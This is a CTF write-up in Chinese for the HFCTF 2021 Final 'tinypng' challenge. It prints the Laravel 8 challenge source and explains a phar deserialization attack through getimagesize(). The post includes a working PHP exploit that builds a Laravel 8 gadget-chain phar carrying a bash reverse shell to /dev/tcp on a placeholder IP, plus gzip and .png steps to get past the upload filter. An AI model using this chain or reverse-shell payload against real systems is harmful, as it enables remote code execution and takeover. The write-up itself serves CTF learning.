[HFCTF 2021 Final]tinypng
知识点
- Laravel 8 反序列化分析
- [D3CTF 2019]EzUpload gzip压缩phar .htaccess内容正则绕过 glob://爆破目录 绕过open_basedir
- 对某cms的一次审计思路
源码
web.php
use App\Http\Controllers\IndexController; use App\Http\Controllers\ImageController; Route::get('/', function () { return view('upload'); }); Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post'); //Don't expose the /image to others! Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
IndexController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed_extension = "png";
$extension = $req->file('file')->clientExtension();
if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
{
$content = $req->file('file')->get();
if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}else {
$fileName = \md5(time()) . '.png';
$path = $req->file('file')->storePubliclyAs('uploads', $fileName);
echo "path: $path";
return back()
->with('success', 'File has been uploaded.')
->with('file', $path);
}
} else{
$error = 'Don\'t do that, please';
return back()
->withErrors($error);
}
}
}
ImageController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
public function compressImg($saveName)
{
$this->_openImage();
$this->_saveImage($saveName);
}
/**
* 内部:打开图片
*/
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
解题步骤
首先, 在/tinypng-1618820451/html/html/vendor/composer/install.json
里面可以得知, 为Laravel 8框架(buu环境)。
然后f12提示修改了image的bug。在路由里面,看到web.php,然后找到image控制器和index控制器。在index里面,过滤了phar的部分字符,然后在image里面,需要png结尾的文件,而且文件名不可控。根据调用,看到imgcompress。然后在_openImage()里面看到了getimagesize函数,这个函数有反序列化漏洞,条件是传入的文件名可控,而src可控,于是就可以用phar打。
根据上面的知识点,用laravel8的链子,直接贴exp:(来自https://zwh-china.top/2021/06/19/%E8%99%8E%E7%AC%A6%E6%9D%AFtiny-png/)
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2333 0>&1'");
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));
}
这里需要将生成的phar.phar进行gzip压缩成gz文件,然后将后缀改为.png,在首页上传。然后打开/image
路由,然后get传参进行phar。文件保存路径在../storage/app/uploads
文件夹下。
比较无语的是,你在/image路由输入框输入phar://../xxx
直接报405,这个要抓包改成get上传才能成功。